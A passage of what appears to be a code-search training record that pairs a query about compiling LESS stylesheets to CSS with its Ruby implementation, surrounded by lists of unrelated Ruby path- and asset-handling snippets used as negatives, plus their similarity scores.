"def append_path(path)\n mutate_config(:paths) do |paths|\n path = File.expand_path(path, root).dup.freeze\n paths.push(path)\n end\n end", "def setup_paths\n # This REPLACE_DEFAULT_PATH_WITH_DRIVER constant gets defined by bin/driver when we want\n # to run a command in the context of a driver instead of the main rails app.\n if defined?(REPLACE_DEFAULT_PATH_WITH_DRIVER)\n replace_rails_paths_with_driver(REPLACE_DEFAULT_PATH_WITH_DRIVER)\n else\n add_every_driver_to_rails_paths\n end\n end", "def source_paths\n Array(super) +\n [File.join(File.expand_path(File.dirname(__FILE__)), 'base_templete_files')]\nend", "def add_source(*source_paths)\n source_paths.each do |source|\n new_path = Pathname.new(source)\n # Check if the source path is a directory\n next unless new_path.file?\n # Add the new source to the list of source file paths\n @sources.push(new_path)\n end\n end", "def add_autoload_paths_to_load_path; end", "def add_autoload_paths_to_load_path; end", "def require_paths\n raise NotImplementedError\n end", "def includes_load_paths; end", "def configured_require_paths; end", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def module_search_path(path)\n\t\t\t@project.add_import_path(path)\n\t\tend", "def global_less_options\n Sprockets::Less.options.dup\n end", "def load_paths\n @load_paths ||= [\"urls.rb\", \"config/urls.rb\", \"mailers/*.rb\", \"controllers/**/*.rb\", \"controllers.rb\", \"helpers/*.rb\"]\n end", "def add_view_path(path)\n self.view_paths << RAILS_ROOT + '/' + path\n end", "def add_view_path(path)\n self.view_paths << RAILS_ROOT + '/' + path\n end", "def addPath(path)\r\n\t\tif @paths.nil?\r\n\t\t\t@paths = [path]\r\n\t\telse\r\n\t\t\t@paths << path\r\n\t\tend\r\n\tend", "def append_path(path)\n @paths.push(File.expand_path(path, root))\n end", "def path= dir\n @path = dir\n\n # @sprockets = Locomotive::Mounter::Extensions::Sprockets.environment\n # %w(fonts stylesheets javascripts).each do |name|\n # @sprockets.append_path File.join(dir, 'public', name)\n # end\n end", "def template_paths\n paths = Engines.plugins.by_precedence.map { |p| \"#{p.directory}/app/views/#{mailer_name}\" }\n paths.unshift(template_path_without_engine_additions) unless Engines.disable_application_view_loading\n paths\n end", "def source_paths\n source_path = [$RR_PATH] + Array(super)\n # say \"source path = #{source_path}\", :magenta\n source_path\nend", "def source_paths\n [File.join(File.expand_path(File.dirname(__FILE__)),'krails_root')] + Array(super)\nend", "def add_files(*files)\n @source_paths &= files\n end", "def prepend_path(path)\n @paths.unshift(File.expand_path(path, root))\n end", "def add_to_load_path #:nodoc:\n $LOAD_PATH.insert($LOAD_PATH.index(\"#{RAILS_ROOT}/lib\") + 1, *load_paths)\n end", "def template_paths\n paths = Rails.plugins.by_precedence.map { |p| \"#{p.root}/app/views/#{mailer_name}\" }\n paths.unshift(template_path_without_engine_additions) unless Engines.disable_application_view_loading\n paths\n end", "def build_view_paths(paths); end", "def add_plugins_from_lookup_folders\n @plugin_lookup_folders.each do |folder|\n if File.directory?(folder)\n #TODO: add gem root to load path ? and require short folder ?\n #$LOAD_PATH.push(folder) if i[:add_path]\n Dir.entries(folder).select{|file|file.end_with?(RUBY_FILE_EXT)}.each do |source|\n add_plugin_info(File.join(folder,source))\n end\n end\n end\n end", "def add_autoload_paths_to_load_path=(_arg0); end", "def add_autoload_paths_to_load_path=(_arg0); end", "def documentation_path(extra_path=[])\n path = [File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )),\n File.expand_path(File.join(Msf::Config.user_module_directory, '..', 'documentation', 'modules' )),\n ]\n #if Msf::Config.method_defined? :staekka_path\n if Msf::Config.methods.include? :staekka_path\n path << File.expand_path(File.join(Msf::Config.staekka_path, 'documentation', 'modules' ))\n end\n path.concat(extra_path)\n\n Msf::Config.singleton_class.send(:define_method, :doc_search_path=) do |opt|\n @info_path = opt\n @info_path\n end\n Msf::Config.singleton_class.send(:define_method, :doc_search_path) do\n @info_path\n end\n Msf::Config.doc_search_path=path\n end", "def configure(sprockets)\n sprockets.append_path @path\n end", "def update_source_paths\n source_paths.unshift(root_dir)\n end", "def assign_paths\n self.path = generate_path(self)\n end", "def relative_paths(smart_path)\n raise NotImplementedError.new\n end", "def add_assets(paths)\n copy_assets(paths)\n characterize_assets\n create_or_update_assets\n end", "def add_my_custom_path\n prepend_view_path(\"app/views/custom/\")\n end", "def add_to_dependency_load_once_paths #:nodoc:\n Dependencies.load_once_paths.concat(load_paths)\n end", "def add_extension_path(path)\n raise Error::WebDriverError, \"could not find extension at #{path.inspect}\" unless File.directory?(path)\n\n @extension_paths << path\n end", "def view_paths=(paths); end", "def replace_less_extend(less)\n less.gsub(/\\#(\\w+) \\> \\.([\\w-]*)(\\(.*\\));?/, '@include \\1-\\2\\3;')\n end", "def default_load_paths_with_test_helper\n paths = default_load_paths_without_test_helper\n paths.concat %w(\n app\n app/controllers\n config\n lib\n vendor\n ).map { |dir| \"#{HELPER_RAILS_ROOT}/#{dir}\" }\n end", "def includes(*paths)\n self.included_files.concat(expand_globs(paths))\n end" ]
[ "0.6465885", "0.6345045", "0.6204859", "0.6059806", "0.59756106", "0.5825569", "0.57737875", "0.5720633", "0.56951225", "0.5692893", "0.5688428", "0.56875986", "0.55963564", "0.5575312", "0.55725056", "0.55489904", "0.5537281", "0.55282354", "0.5524732", "0.5520578", "0.54976946", "0.546744", "0.5465684", "0.54656816", "0.54656816", "0.54656816", "0.54656816", "0.5461311", "0.54470366", "0.5444833", "0.5444833", "0.54421186", "0.5423577", "0.5423577", "0.5421883", "0.5387841", "0.5376991", "0.5346721", "0.5346194", "0.5343591", "0.5321873", "0.5315966", "0.5315966", "0.5315966", "0.5315966", "0.5315966", "0.5315966", "0.53087", "0.53087", "0.530834", "0.5306674", "0.53028584", "0.53028584", "0.53028584", "0.53006583", "0.5298084", "0.52603257", "0.5254586", "0.525307", "0.5249153", "0.52022743", "0.52022743", "0.5196038", "0.51954633", "0.5193662", "0.519146", "0.519146", "0.519146", "0.519146", "0.5190042", "0.518944", "0.5173908", "0.51643384", "0.51643384", "0.51631343", "0.5162245", "0.5155156", "0.51523405", "0.51234907", "0.5108014", "0.508832", "0.508564", "0.508557", "0.50835735", "0.5078212", "0.50724715", "0.50703895", "0.50703895", "0.50650775", "0.50613123", "0.50479007", "0.50360143", "0.5034961", "0.5034894", "0.50314635", "0.5021262", "0.50144726", "0.5012497", "0.5011923", "0.5005518", "0.50034696" ]
0.0
-1
Converts all .less files in +paths+ to STYLESHEETS_PATH/[filename].css. Options: compress Remove all newlines? `true` or `false`.
def run(options = {}) paths.map {|path| Dir["#{path}/*.less"]}.flatten.each {|less_source| destination_filename = "#{File.basename(less_source, File.extname(less_source))}.css" destination = "#{STYLESHEETS_PATH}/#{destination_filename}" if !File.exists?(destination) || File.stat(less_source).mtime > File.stat(destination).mtime engine = Less::Engine.new(File.read(less_source)) css = Less.version > "1.0" ? engine.to_css : engine.to_css(:desc) css.delete!("\n") if options[:compress] File.open(destination, "w") {|file| file.write HEADER % [destination_filename] if Rails.env == "development" file.write css } end } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run(options = {})\n paths.each do |path|\n Dir.chdir(path) do\n Dir[\"**/*.less\"].each do |less_sheet|\n directory = File.dirname(less_sheet)\n target_filename = File.basename(less_sheet, File.extname(less_sheet)) + \".css\"\n destination = \"#{directory}/#{target_filename}\"\n \n if !File.exists?(destination) || File.stat(less_sheet).mtime > File.stat(destination).mtime\n engine = File.open(less_sheet) {|f| Less::Engine.new(f) }\n css = engine.to_css\n css.delete(\"\\n\") if options[:compress]\n \n FileUtils.mkdir_p(directory)\n File.open(destination, \"w\") {|file|\n file.write HEADER % [path + \"/\" + less_sheet] if Rails.env == \"development\"\n file.write css\n }\n end\n end\n end # chdir\n end # each\n end", "def css\n puts 'Compiling LESS files to CSS...'\n `lessc ./less/main.less ../www/_res/css/uncompressed/main.css`\n puts 'Compressing CSS files...'\n `java -jar ./_scripts/yuicompressor-2.4.2.jar ../www/_res/css/uncompressed/main.css -o ../www/_res/css/main.css`\nend", "def compress_css(paths, variant=nil, asset_url=nil)\n return @yui_css.compress(concatenate(paths)) if variant.nil?\n compressed_css = @yui_css.compress(concatenate_and_tag_images(paths))\n return with_data_uris(compressed_css) if variant == :datauri\n return with_mhtml(compressed_css, asset_url) if variant == :mhtml\n raise PackageNotFound, \"\\\"#{variant}\\\" is not a valid stylesheet variant\"\n end", "def compress_js(paths)\n @yui_js.compress(concatenate(paths))\n end", "def build_css\n Dir[\"#{@src_dir}/stylesheets/**/*.{sass,scss}\"].each do |path|\n file_dir, template = source_template_from_path(path.sub(/^#{@src_dir}\\/stylesheets/, ''))\n\n if !template.match(/(^|\\/)\\_/)\n save_stylesheet(File.join(file_dir, template), generate_css(template, file_dir))\n end\n end\n end", "def compile_less_styles(base_dir, definitions)\n\n chdir(base_dir) do\n definitions.each do |definition|\n\n lessc = 'lessc'\n flags = []\n\n if definition['include']\n flags << \"--include-path=\" + definition['include'].join(':')\n end\n\n sources = definition['inputs'].join(' ')\n\n sh %{#{lessc} #{flags.join(' ')} #{sources} #{definition['output']}}\n\n end\n end\nend", "def compile(css, include_paths, settings)\n\tlessjs = settings['lessc']\n\tresult = css\n\tsep = (OS.windows? or OS::Underlying.windows?) ? ';' : ':'\n\tcommand = \"node \\\"#{lessjs}\\\" --compress --include-path=\\\"#{include_paths.join(sep)}\\\" -\"\n\n\tbegin\n\t\tOpen3.popen3(command) do |stdin, stdout, stderr|\n\t\t\tstdin.puts(css)\n\t\t\tstdin.close\n\t\t\tresult = stdout.read\n\t\t\terror = stderr.read\n\t\t\tstdout.close\n\t\t\tstderr.close\n\n\t\t\tif error.length > 0\n\t\t\t\tputs error\n\t\t\tend\n\t\tend\n\tend\n\n\tresult\nend", "def include_css(path)\n if !AppConfig.force_all_css and (use_cache? or browser_is? :ie)\n \"min/#{path}.css\"\n else\n result = []\n Dir[\"#{RAILS_ROOT}/public/stylesheets/#{path}/**/*.css\"].each do |css|\n result << css.gsub(\"#{RAILS_ROOT}/public/stylesheets/\", \"\")\n end\n return result\n end\n end", "def process_flat_ui_stylesheet_assets!\n log_status 'Processing stylesheets...'\n files = read_files('less', flat_ui_less_files)\n\n log_status ' Converting LESS files to Scss:'\n files.each do |name, file|\n log_processing name\n\n # apply common conversions\n # icon-font bombs on this so skip it\n file = convert_less(file) unless name =~ /flat-ui|glyphicons/\n file = replace_file_imports(file)\n file = cleanup_whitespace(file)\n case name\n when 'flat-ui.less'\n lines = file.split \"\\n\"\n lines.reject! {|line|\n #kill the fonts lines, those are up to the user\n #kill variables since those need to be manually imported before bootstrap\n line =~ /fonts|url|variables/\n }\n\n # Add a comment for the icon font\n icon_font_import = lines.index {|line| line =~ /glyphicons/}\n lines.insert(icon_font_import, '// Flat-UI-Icons')\n lines.delete_at(icon_font_import+2)\n\n file = lines.join \"\\n\"\n when 'mixins.less'\n NESTED_MIXINS.each do |selector, prefix|\n file = flatten_mixins(file, selector, prefix)\n end\n file = varargify_mixin_definitions(file, *VARARG_MIXINS)\n file = deinterpolate_vararg_mixins(file)\n %w(responsive-(in)?visibility input-size text-emphasis-variant bg-variant).each do |mixin|\n file = parameterize_mixin_parent_selector file, mixin\n end\n file = replace_ms_filters(file)\n if pro?\n file = replace_all file, /(?<=[.-])\\$state/, '#{$state}'\n else\n # calc-color mixin only exists in Flat-UI free\n file = replace_all file, /-(\\$.+-color)/, '-#{\\1}'\n file = replace_all file, /#\\{\\$\\$\\{(.+)\\}\\}/, 'interpolate_variable($\\1)'\n end\n file = replace_rules(file, ' .list-group-item-') { |rule| extract_nested_rule rule, 'a&' }\n file = replace_all file, /,\\s*\\.open \\.dropdown-toggle& \\{(.*?)\\}/m,\n \" {\\\\1}\\n .open & { &.dropdown-toggle {\\\\1} }\"\n file = replace_all file, '$ratio, $ratio-y', '$scale-args'\n file = convert_grid_mixins file\n when 'variables.less'\n file = insert_default_vars(file)\n if ::Sass::VERSION >= '3.3.0'\n file = unindent <<-SCSS + file, 14\n // a flag to toggle asset pipeline / compass integration\n $flat-ui-sass-asset-helper: function-exists(flat-ui-font-path) !default;\n\n SCSS\n else\n file = unindent <<-SCSS + file, 14\n // a flag to toggle asset pipeline / compass integration\n // defaults to true if flat-ui-font-path function is present (no function => twbs-font-path('') parsed as string == right side)\n $flat-ui-sass-asset-helper: (flat-ui-font-path(\"\") != unquote('flat-ui-font-path(\"\")')) !default;\n\n SCSS\n end\n file = fix_variable_declaration_order file\n file = replace_all file, /(\\$icon-font-path:\\s+).*(!default)/, '\\1\"'+@output_dir+'/\" \\2'\n when 'modules/buttons.less'\n file = extract_nested_rule file, '.btn-xs&'\n file = extract_nested_rule file, '.btn-hg&'\n when 'modules/forms.less'\n # Fix mixin regex not supporting non-variable arguments\n file.gsub! /@include input-size\\((?:\\$.+)\\);/ do |match|\n match.gsub /; /, ', '\n end\n file = apply_mixin_parent_selector(file, '\\.input-(?:sm|lg|hg)')\n when 'modules/input-groups.less'\n file = replace_rules(file, '.input-group-rounded') do |rule|\n extract_and_combine_nested_rules rule\n end\n when 'modules/glyphicons.less'\n file = replace_vars(file)\n file = replace_escaping(file)\n file = replace_all file, /\\#\\{(url\\(.*?\\))}/, '\\1'\n file = replace_rules(file, '@font-face') { |rule|\n rule = replace_all rule, /(\\$icon-font(?:-\\w+)+)/, '#{\\1}'\n replace_asset_url rule, :font\n }\n when 'modules/login.less'\n file = fix_flat_ui_image_assets file\n when 'modules/navbar.less'\n # Fix mixin regex not supporting non-variable arguments\n file.gsub! /@include input-size\\((?:\\$.+)\\);/ do |match|\n match.gsub /; /, ', '\n end\n file = apply_mixin_parent_selector(file, '\\.navbar-input')\n when 'modules/palette.less'\n file.gsub! /@include calc-color\\((.+)\\);/ do |match|\n match.gsub /#\\{([\\w\\-]+)\\}/, '\"\\1\"'\n end\n when 'modules/select.less'\n # Fix the include that the converter makes an extend\n file = replace_all file, /@extend \\.caret/, '@include caret'\n when 'modules/spinner.less'\n # Fix mixin regex not supporting non-variable arguments\n file.gsub! /@include spinner-variant\\((?:\\$?.+)\\);/ do |match|\n match.gsub /; /, ', '\n end\n when 'modules/switch.less'\n file = fix_flat_ui_image_assets file\n when 'modules/tile.less'\n file = fix_flat_ui_image_assets file\n when 'modules/todo.less'\n file = fix_flat_ui_image_assets file\n when 'modules/thumbnails.less'\n file = extract_nested_rule file, 'a&'\n when 'modules/type.less'\n # Since .bg-primary has a color associated with it we need to divide it into\n # two selectors\n file = replace_rules(file, '.bg-primary') do |rule|\n parts = rule.split \"\\n\"\n selector = parts.index {|line| line =~ /\\.bg-primary/}\n mixin = parts.index {|line| line =~ /@include/}\n parts.insert(mixin, \"}\\n#{parts[selector]}\")\n rule = parts.join \"\\n\"\n end\n file = apply_mixin_parent_selector(file, '\\.(text|bg)-(success|primary|info|warning|danger)')\n when 'modules/video.less'\n file = replace_rules(file, /\\s*\\.vjs(?:-(?:control|time))?(?!-\\w+)/) do |rule|\n selector = get_selector(rule).scan(/\\.vjs(?:-(?:control|time))?(?!-\\w+)/).first\n convert_arbitrary_less_ampersand(rule, selector)\n end\n file = fix_flat_ui_image_assets file\n end\n\n name = name.sub(/\\.less$/, '.scss')\n base = File.basename(name)\n name.gsub!(base, \"_#{base}\") unless base == 'flat-ui.scss'\n path = File.join(@dest_path[:scss], name)\n save_file(path, file)\n log_processed File.basename(path)\n end\n\n manifest = File.join(@dest_path[:scss], '..', \"#{@output_dir}.scss\")\n save_file(manifest, \"@import \\\"#{@output_dir}/flat-ui\\\";\")\n end", "def fix_css_paths\n\tDir.foreach(BUILDDIR) do |file|\n\t\tif /\\.css$/.match(file) \n\t\t\tFile.open(BUILDDIR + '/' + file, 'r+') do |f|\n\t\t\t\tcss = f.read\n\t\t\t\tcss.gsub!(/url\\((.*?)\\/img\\//, 'url(/img/')\n\t\t\t\tf.rewind\n\t\t\t\tf.write(css)\n\t\t\t\tf.truncate(css.length)\n\t\t\tend\n\t\tend\n\tend\nend", "def compress!\n compress\n \n File.open(@input_file, 'w') do |file|\n file.puts @compressed_css\n end\n end", "def compile(css, include_paths, settings)\n\tcss\nend", "def concatenate_and_tag_images(paths)\n stylesheets = [paths].flatten.map do |css_path|\n File.read(css_path).gsub(IMAGE_DETECTOR) do |url|\n image_path = public_path($1, css_path)\n valid_image(image_path) ? \"url(__EMBED__#{image_path})\" : url\n end\n end\n stylesheets.join(\"\\n\")\n end", "def compress\n # Remove single & multi-line comments\n @compressed_css = @original_css.gsub(/\\/\\*.*?\\*\\//m, '')\n \n tokens = @compressed_css.split(/[ \\t\\n]/) - ['']\n @compressed_css = ''\n\n tokens.each_with_index do |token, i|\n previous_token = tokens[i-1] if i > 0\n\n unless (previous_token && previous_token.match(/[:;}{,]\\Z/)) || token.match(/\\A[\\{]/)\n @compressed_css << ' '\n end\n @compressed_css << token\n end\n \n @compressed_css.strip!\n @compressed_size = @compressed_css.length\n @ratio = @compressed_size / @original_size.to_f\n @compressed_css\n end", "def build_imported_files(imported_file_paths) \n imported_file_paths.inject([]) do |files, path|\n files << WebResourceBundler::ResourceFile.new_css_file(path, @file_manager.get_content(path))\n files\n end\n end", "def compile_files(files)\n files.each do |base_path|\n # We do this second glob in case the path provided in the tayfile\n # references a compiled version\n Dir[@base_dir.join('src', base_path + '*')].each do |path|\n path = Pathname.new(path).relative_path_from(@base_dir.join('src'))\n file_in_path = @base_dir.join('src', path)\n file_out_path = asset_output_filename(@output_dir.join(path), @sprockets.engines.keys)\n\n if @sprockets.extensions.include?(path.extname)\n content = @sprockets[file_in_path].to_s\n else\n content = File.read(file_in_path)\n end\n\n FileUtils.mkdir_p(file_out_path.dirname)\n File.open(file_out_path, 'w') do |f|\n f.write content\n end\n end\n end\n end", "def compress_all\n\tself.build_combined\n\t\n\tfiles = Dir[\"jquery.syntax*.js\"]\n\tcompiler = Closure::Compiler.new\n\t\n\tputs \"Minifying JavaScript...\"\n\tfiles.each do |path|\n\t\tputs \"Minifying #{File.basename(path)}...\"\n\t\t\n\t\toutput = compiler.compile_files([path])\n\t\t\n\t\tFile.open(path, \"w\") do |file|\n\t\t\tfile.write(LICENSE)\n\t\t\tfile.write(output)\n\t\tend\n\tend\nend", "def include_stylesheets\n Pathname.new(StylesheetDir).find do |path|\n next unless path.file?\n if @one_file\n @outfile.puts \" <style>\"\n @outfile.puts path.read\n @outfile.puts \" </style>\"\n else\n @outfile.puts \"<link href=\\\"lib/stylesheets/#{path.basename}\\\" media=\\\"screen\\\" rel=\\\"stylesheet\\\" type=\\\"text/css\\\" />\"\n end\n end\n end", "def compress(css)\n ::Sass::Engine.new(css, :syntax => :scss, :style => :compressed).render.strip\n end", "def add_assets(paths)\n copy_assets(paths)\n characterize_assets\n create_or_update_assets\n end", "def style_files\n styles.map do |name|\n next name if name.include?('/')\n style_path\n .reject { |p| p.strip.empty? }\n .map { |p| File.join(p, \"#{name}.css\") }\n .detect { |file| File.exist?(file) }\n end\n end", "def generate_css\n needs = affected_files.map { |m| File.extname(m)[1..-1].to_sym }\n \n original_ext = File.extname(@original_file)[1..-1]\n needs << original_ext.to_sym unless needs.include? original_ext\n\n WebifyRuby::Css.link_to = @link_to\n \n if should_write_css?\n WebifyRuby::Css.relative_from = @link_to ? nil : @css\n end\n \n css = WebifyRuby::Css.new(File.basename(@file, \".*\"), @file, *needs)\n @styles = css.result\n\n @css_file = css.write @css if should_write_css?\n end", "def compress_min_css\n File.open(base_css_file, 'w') do |file|\n file.write(\n SassC::Engine.new(\n File.read(base_scss_file), style: :compressed\n ).render\n )\n end\n FileUtils.remove_file(base_scss_file, true)\n end", "def compile_file_from_path(filepath, options={})\n defaults = {:strict => true, :compress => false}\n options = defaults.merge options\n \n ext = filepath.split('/')[-1].split('.')[-1]\n if ext != 'wml'\n puts ext\n if options[:strict]\n raise Exception, \"Invalid extension for (#{filepath}). Must be .wml.\"\n else\n return\n end\n end\n \n file = File.open(filepath, 'rb')\n data = file.read\n \n html = Compiler.new(:text => data, :compress => options[:compress]).output\n \n temp = filepath.split('/')\n temp.pop()\n filename = temp.join('/') << '/' << filepath.split('/')[-1].split('.')[0] << '.html'\n File.open(filename, 'wb') {|f| f.write(html) }\nend", "def compress(css)\n root_node = ::Sass::SCSS::CssParser.new(css).parse\n root_node.options = {:style => :compressed}\n root_node.render.strip\n end", "def generate_paths(path)\n if path =~ /[0-9]/\n self.compressed_path = path\n self.uncompressed_path = uncompress_path(path)\n else\n self.uncompressed_path = path\n self.compressed_path = compress_path(path)\n end\n end", "def syntax(path)\n path.to_s.include?('.css') ? :css : :less\n end", "def convert_css(stylesheets)\n FileUtils.mkdir_p(File.join(stylesheets))\n Dir.foreach @base_theme_directory do |file|\n next unless /^#{@prefix}\\..*\\.css$/ =~ file\n next if [\"{#{@prefix}.all.css\", \"#{@prefix}.base.css\"].include? file\n css = File.read(File.join(@base_theme_directory, file))\n\n if \"{#{@prefix}.autocomplete.css\".include? file\n # Removing autocomplete image to add it later by script\n if css[112..135] == \".ui-autocomplete-loading\"\n css[220, 0] = \"*/\"\n css[112, 0] = \"/*\"\n end\n end\n\n open File.join(stylesheets, '_' + file.gsub(/\\.css$/, '.scss').gsub(/^#{@prefix}\\./, '')), 'w' do |f|\n if file == @theme_filename\n f.print(self.class.theme_css2sass(@base_theme))\n else\n f.print(self.class.css2sass(css))\n end\n f.close\n end\n end\n end", "def write_style_sheet\n\t\tdebug_msg \"Copying over static files\"\n\t\tstaticfiles = %w[rdoc.css js images]\n\t\tstaticfiles.each do |path|\n\t\t\tFileUtils.cp_r( @template_dir + path, '.', :verbose => $DEBUG, :noop => $dryrun )\n\t\tend\n\tend", "def write_style_sheet\n\t\tdebug_msg \"Copying over static files\"\n\t\tstaticfiles = %w[rdoc.css js images]\n\t\tstaticfiles.each do |path|\n\t\t\tFileUtils.cp_r( @template_dir + path, '.', :verbose => $DEBUG, :noop => $dryrun )\n\t\tend\n\tend", "def css(name, *args) #path, files=[])\n js_or_css :css, name, *args\n end", "def normalize_paths(paths)\n paths = [paths] unless paths.is_a?(Array)\n paths.map(&:dup).map do |path|\n raise ArgumentError.new(\"Invalid path: #{path}\") unless valid_path?(path)\n # Strip leading slash from extension path\n path.gsub!(/^\\/(?=\\*.)/, '')\n # Escape some valid special characters\n path.gsub!(/[.+$\"]/) {|s| '\\\\' + s}\n # Replace * wildcards with .* regex fragment\n path.gsub!(/\\*/, '.*')\n \"^#{path}#{END_URL_REGEX}\"\n end\nend", "def stylesheets\n Dir[Dir.pwd + '/*.css'].map { |path| File.read(path) }\n end", "def stylesheets\n Dir[Dir.pwd + '/*.css'].map { |path| File.read(path) }\n end", "def add_css(files)\n return add_data(files, :stylesheets, '.css')\n end", "def paths\n @paths ||= [\"#{Rails.root}/public/stylesheets\"]\n end", "def write_style_sheet\n debug_msg \"Copying static files\"\n options = { :verbose => $DEBUG_RDOC, :noop => @dry_run }\n\n BUILTIN_STYLE_ITEMS.each do |item|\n install_rdoc_static_file @template_dir + item, \"./#{item}\", options\n end\n\n unless @options.template_stylesheets.empty?\n FileUtils.cp @options.template_stylesheets, '.', **options\n end\n\n Dir[(@template_dir + \"{js,images}/**/*\").to_s].each do |path|\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n\n dst = Pathname.new(path).relative_path_from @template_dir\n\n install_rdoc_static_file @template_dir + path, dst, options\n end\n end", "def compress(path)\r\n gem 'rubyzip'\r\n require 'zip/zip'\r\n require 'zip/zipfilesystem'\r\n path.sub!(%r[/$],'')\r\n archive = File.join(path,File.basename(path))+'.zip'\r\n FileUtils.rm archive, :force=>true\r\n\r\n Zip::ZipFile.open(archive, 'w') do |zipfile|\r\n Dir[\"#{path}/**/**\"].reject{|f|f==archive}.each do |file|\r\n zipfile.add(file.sub(path+'/',''),file)\r\n end\r\n end\r\n end", "def inline_asset(*names)\n old = sprockets.css_compressor, sprockets.js_compressor\n sprockets.js_compressor = :uglifier\n sprockets.css_compressor = :scss\n dat = names.map { |name| sprockets[name].to_s }.reduce(:+)\n sprockets.css_compressor, sprockets.js_compressor = old\n dat.gsub(' !important', '')\n end", "def process_stylesheets(body, directory)\n to_inline = []\n\n body.scan(STYLESHEET_PATTERN) do |stylesheet_tag|\n if path = stylesheet_tag[HREF_PATH_PATTERN, :path]\n\n indent = stylesheet_tag[INDENT_PATTERN, :indent] || \"\"\n\n absolute_path = File.absolute_path(path, directory)\n stylesheet_contents = read_file(absolute_path)\n\n to_inline << [stylesheet_tag, \"#{indent}<style>#{stylesheet_contents}\\n#{indent}</style>\"]\n end\n end\n\n to_inline.reduce(body) do |output, (tag, contents)|\n output.gsub(tag, contents)\n end\n end", "def generate(site)\n site.static_files.clone.each do |sf|\n if sf.kind_of?(Jekyll::StaticFile) && sf.path =~ /\\.less$/\n site.static_files.delete(sf)\n name = File.basename(sf.path)\n destination = File.dirname(sf.path).sub(site.source, '')\n site.static_files << LessCssFile.new(site, site.source, destination, name)\n end\n end\n end", "def compile_css(debug: false)\n require 'compass'\n require 'compass/sass_compiler'\n require 'sass-css-importer'\n\n Compass.configuration.add_import_path \"#{$css_source}/imports\"\n configs = {}\n configs[:project_path] = \".\"\n configs[:http_path] = \"/\"\n configs[:sass_path] = $css_source\n configs[:css_path] = $css_dest\n configs[:cache_path] = $cache_dir\n configs[:images_path] = \"static/images/\"\n configs[:output_style] = debug ? :nested : :compressed\n configs[:line_comments] = debug ? true : false\n Compass.add_configuration(configs, \"basho_docs_configs\")\n\n # This will grab every .scss file in the $css_source directory, and run them\n # through Compass, generating equivalently-named .css files in the static/css\n # directory. We should try to keep the number of compiled sources to a minimum\n # though, and simply add new/parsed scss/css files to `all.scss`.\n compiler = Compass.sass_compiler({\n :only_sass_files => Dir.glob(\"#{$css_source}/*.scss\")\n })\n compiler.compile!\nend", "def read_code_files_from_path(path)\n Dir.foreach path do |it|\n path_and_name = \"#{path}/#{it}\"\n if FileTest.directory?(path_and_name) && it != '.' && it != '..'\n read_code_files_from_path path_and_name unless BLACK_LIST_DIRECTORIES.include? path_and_name\n elsif FileTest.file?(path_and_name) && !BLACK_LIST_FILES.include?(it)\n puts \"Processing => #{path_and_name}\"\n file = File.open(path_and_name, 'r')\n file_content = ''\n line_number = 1\n file.each_line do |line|\n file_content << line.gsub(/</, '&lt;').gsub(/^/, \"<color rgb='AAAAAA'>#{line_number}</color> \"); line_number += 1\n end\n file.close\n @code_files << [path_and_name, file_content]\n end\n end\nend", "def create_less_file(directory)\n less = %{/* Widget CSS Less */\\n\n.myWidget {}}\n\n File.open(directory, \"w\") do |f|\n f.write(less)\n end\n end", "def make_assets_relative!\n @style.gsub! \"url(/assets\", \"url(assets\"\n @style.gsub! \"url(../\", \"url(assets/\"\n end", "def update_stylesheets\n return if options[:never_update]\n\n @@checked_for_updates = true\n Dir.glob(File.join(options[:template_location], \"**\", \"*.sass\")).entries.each do |file|\n\n # Get the relative path to the file with no extension\n name = file.sub(options[:template_location] + \"/\", \"\")[0...-5]\n\n if !forbid_update?(name) && (options[:always_update] || stylesheet_needs_update?(name))\n css = css_filename(name)\n File.delete(css) if File.exists?(css)\n\n filename = template_filename(name)\n engine = Engine.new(File.read(filename), engine_options(:filename => filename))\n result = begin\n engine.render\n rescue Exception => e\n exception_string(e)\n end\n\n # Create any directories that might be necessary\n dirs = [options[:css_location]]\n name.split(\"/\")[0...-1].each { |dir| dirs << \"#{dirs[-1]}/#{dir}\" }\n dirs.each { |dir| Dir.mkdir(dir) unless File.exist?(dir) }\n\n # Finally, write the file\n File.open(css, 'w') do |file|\n file.print(result)\n end\n end\n end\n end", "def preprocess(*file_paths, &block)\n file_paths.each do |file_path|\n self.preprocess_paths[file_path] = block\n end\n end", "def concatenate(paths)\n [paths].flatten.map {|p| File.read(p) }.join(\"\\n\")\n end", "def sg_usemin_css(path, options={})\n usemin = SlimGruntHelpers::Models::UseminCss.new\n options = { alt: nil, absolute: false }.merge!(options)\n\n alt = ''\n alt = \"(#{ options[:alt] })\" unless options[:alt].nil?\n\n text = \"\\n<!-- build:css#{ alt } #{ path } -->\\n\"\n yield(usemin)\n usemin.each(options) do |link|\n text << \"#{ link }\\n\"\n end\n text << \"<!-- endbuild -->\\n\"\n end", "def compile_from_command_line(args)\n compress = false\n if args.index(\"-c\") != nil or args.index(\"--compress\") != nil\n compress = true\n args = args.keep_if { |arg| [\"-c\", \"--compress\"].index(arg) == nil }\n end\n \n if args.index(\"-d\") != nil\n d_index = args.index(\"-d\")\n if args.length < d_index + 1\n raise Exception, \"The -d argument must be followed immediately by a directory path in which to compiler .wml files.\"\n end\n \n dir_path = args[d_index + 1]\n \n if !File.directory? dir_path\n raise Exception, \"Invalid directory path following -d argument.\"\n end\n \n Dir.chdir dir_path\n if args[\"-r\"] != nil\n Dir['**/*'].each { |f|\n if File.directory? f and ['.', '..'][f] == nil\n puts f\n compile_file_from_path(f, :strict => false, :compress => compress)\n end\n }\n else\n Dir['*'].each { |f|\n if File.directory? f and ['.', '..'][f] == nil\n puts f\n compile_file_from_path(f, :strict => false, :compress => compress)\n end\n }\n end\n \n else\n strict = true\n if args.index(\"-f\") != nil or args.index(\"--force\") != nil\n strict = false\n args = args.keep_if { |arg| [\"-f\", \"--force\"].index(arg) == nil }\n end\n \n args.each { |filepath|\n compile_file_from_path(filepath, :strict => strict, :compress => compress)\n }\n \n end\nend", "def compress_file(*path)\n compressed_path = path.dup\n compressed_path.push(\"#{compressed_path.pop}.gz\")\n base_file = File.open(for_file(path))\n create_file(compressed_path) do |file|\n compressor = Zlib::GzipWriter.new(file)\n while data = base_file.read(2048)\n 